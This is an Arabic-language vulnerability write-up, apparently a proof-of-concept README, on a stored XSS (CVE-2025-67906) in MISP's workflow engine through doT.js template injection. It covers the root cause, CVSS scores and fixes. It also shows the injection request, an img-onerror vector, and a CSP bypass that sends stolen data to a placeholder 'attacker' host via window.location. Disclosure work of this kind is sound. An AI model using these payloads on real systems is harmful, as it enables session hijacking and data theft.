
MISP <= 2.5.27 - ثغرة تخزينية عبر المواقع باستخدام محرك سير العمل (حقن قالب doT.js).
MISP <= 2.5.27 - ثغرة تخزين البرمجة النصية عبر المواقع (XSS) عبر محرك سير العمل (حقن قالب doT.js)
اكتشفها Franck FERMAN
نظرة عامة - تحليل السبب الجذري - سلسلة الهجوم - الهيكل - الاستخدام - الإصلاح - المراجع
CVE-2025-67906 (GCVE-1-2025-0031) هي ثغرة تخزين البرمجة النصية عبر المواقع (Stored XSS) في MISP (منصة مشاركة معلومات البرمجيات الخبيثة) بالإصدارات حتى 2.5.27.
تقع الثغرة في app/View/Elements/Workflows/executionPath.ctp، وهو مكون عرض مسار تنفيذ سير العمل. يتم تخزين حقل name لمحفزات سير العمل في قاعدة البيانات دون تنقية من جانب الخادم (server-side sanitization) ثم يتم عرضه في DOM عبر محرك القوالب doT.js بدون هروب HTML (HTML escaping). يمكن لمهاجم مُصادَق عليه حقن HTML/JavaScript عشوائي يُنفّذ في جلسة المتصفح لأي مستخدم يعرض سير العمل المخترق.
نظرًا لأن الحمولة تُخزّن في قاعدة البيانات وتُعرض في كل تحميل صفحة، فإن XSS مستمرة (persistent) - تبقى بعد تحديث الصفحة، وتؤثر على عدة مستخدمين، وتستمر حتى يتم حذف سير العمل صراحة.
الاكتشاف: تم تحديد هذه الثغرة والإبلاغ عنها بشكل مسؤول من قبل Franck FERMAN.
توجد تقييمات متعددة لمعيار CVSS لهذه الثغرة:
| المصدر | الدرجة | الشدة | المتجه |
|---|---|---|---|
| NIST NVD | 9.0 | حرجة | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| GCVE (CIRCL) | 7.1 | عالية | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H |
| CNA (MITRE) | 5.4 | متوسطة | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
يعكس تباين الدرجات تقييمات مختلفة لعمق التأثير. تأخذ درجة NIST NVD (9.0) في الاعتبار التأثير الكامل على السرية والنزاهة والتوفر، نظرًا لأن حمولة XSS تُنفّذ بامتيازات جلسة الضحية، مما يتيح استخراج البيانات على مستوى المسؤول والتلاعب بسير العمل. تأخذ درجة CNA (5.4) في الاعتبار تأثيرًا محدودًا على السرية والنزاهة فقط لـ XSS العام. تقدم درجة GCVE CVSS 4.0 (7.1) معدّلات متطلبات الهجوم (الامتياز) وتفاعل المستخدم النشط.
النطاق متغير (Changed) عبر جميع التقييمات لأن حمولة المهاجم (المحقونة عبر واجهة برمجة تطبيقات MISP) تُنفّذ في سياق أمني مختلف (جلسة متصفح الضحية).
يسمح محرك سير العمل في MISP للمستخدمين المُصادَق عليهم بإنشاء وتحرير سير العمل عبر REST API. يتضمن نموذج بيانات سير العمل مكوّن trigger مع حقل name. يتم هذا الحقل:
doT.js هو محرك قوالب JavaScript سريع. يستخدم {{= }} للاستيفاء (interpolation)، والذي لا يقوم بهروب HTML افتراضيًا. يستخدم محرر سير عمل MISP doT.js لعرض بيانات وصفية للمحفز (بما في ذلك حقل name) في DOM. عندما يحتوي حقل name على HTML مثل ``، يقوم محرك القالب بإدراجه كـ HTML خام، ويقوم المتصفح بتنفيذ JavaScript المضمنة.
يتطلب الإصلاح إما:
{{! }} التي تقوم بهروب HTML للقيمةPOST /workflows/edit/{id}
{
"Workflow": {
"id": "1",
"data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
}
}
قيمة name داخل حقل JSON data هي نقطة الحقن. يتم تسلسل الرسم البياني الكامل لسير العمل كسلسلة JSON داخل جسم الطلب.
تضخم الثغرة بسبب الاختيار المعماري لاستخدام محرك قوالب من جانب العميل (doT.js) لعرض محرر سير العمل البصري. محرر سير العمل هو واجهة رسومية للسحب والإفلات حيث يُعرض كل محفز/إجراء ككتلة بصرية. يتم عرض حقل name للمحفز كتسمية (label) داخل هذه الكتل الرسومية.
يبني doT.js المكونات البصرية عن طريق توليد سلاسل HTML من القوالب وإدراجها في DOM. تنتج صيغة الاستيفاء {{= }} خرجًا غير مهروب - يتم التعامل مع أي بيانات تم استيفاؤها في القالب كترميز (markup) وليس كنص. إذا تم عرض نفس حقل name عبر element.textContent (الذي يعامل الإدخال كنص عادي) أو عبر صيغة الخرج المشفر الخاصة بـ doT.js {{! }}، فلن يكون XSS ممكنًا بغض النظر عن محتوى الإدخال.
توجد مساحة الهجوم تحديدًا بسبب:
{{= }}) من أجل الأداءname يتم تفسيرها كـ HTML من قبل المتصفحهذا نمط ثغرة شائع في تطبيقات الويب التي تستخدم محركات قوالب من جانب العميل لبناء واجهات بصرية تفاعلية: الحاجة إلى العرض الغني تخلق علاقة ثقة ضمنية بين القالب ومصادر بياناته، وأي إدخال مستخدم غير منقى يصل إلى القالب يصبح كودًا قابلًا للتنفيذ.
<script>عادةً لن يتم تنفيذ وسم <script> خام يتم حقنه عبر استيفاء القالب في هذا السياق. لا تقوم المتصفحات بتشغيل عناصر <script> التي يتم إدراجها في DOM بعد تحليل الصفحة الأولي (عبر innerHTML أو ما يعادله). تتجاوز سمات معالج الأحداث مثل onerror و onload و onmouseover على عناصر HTML هذا التقييد لأنها تشغل JavaScript مضمنة عندما يعالج المتصفح سمات العنصر، بغض النظر عن كيفية إدراج العنصر.
يُفضل متجه <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> لأن:
src="x" يضمن فشل تحميل فوري، مما يشغل onerror دون تفاعل المستخدمscript-src لسياسة أمان المحتوى (CSP) التي تحظر وسوم <script> المضمنة، لأن التنفيذ يحدث عبر معالج حدث على عنصر غير وسوم script.عادةً ما تنشر مثيلات MISP رؤوس سياسة أمان المحتوى (CSP) التي تقيد connect-src، مما يمنع استدعاءات fetch() و XMLHttpRequest إلى أصول خارجية. تتجاوز حمولات الاستخراج في هذا الإثبات المفاهيمي (PoC) CSP باستخدام window.location (التنقل) بدلاً من استدعاءات API:
// محظور بواسطة CSP connect-src:
fetch('http://attacker/exfil?data=' + stolen_data); // انتهاك CSP
// غير محظور - التنقل لا تحكمه CSP:
window.location = 'http://attacker/exfil?data=' + stolen_data; // يعمل
لا يحتوي CSP على توجيه يتحكم في المكان الذي يمكن للصفحة التنقل إليه. تم اقتراح توجيه navigate-to في CSP Level 3 لكن لم يتم تنفيذه مطلقًا من قبل أي متصفح وتم التخلي عنه فعليًا. هذا يجعل window.location تجاوزًا موثوقًا لـ CSP لاستخراج البيانات من أي سياق XSS، بغض النظر عن سياسة CSP المطبقة.
المقايضة هي أن التنقل مرئي للضحية (تتغير الصفحة). يخفف server/redirector.py من ذلك عن طريق إصدار إعادة توجيه HTTP 302 فورية إلى مثيل MISP، مما يخلق وميضًا مرئيًا قصيرًا فقط. من منظور الضحية، تبدو الصفحة وكأنها تعيد التحميل.
تدفق بيانات الاستخراج: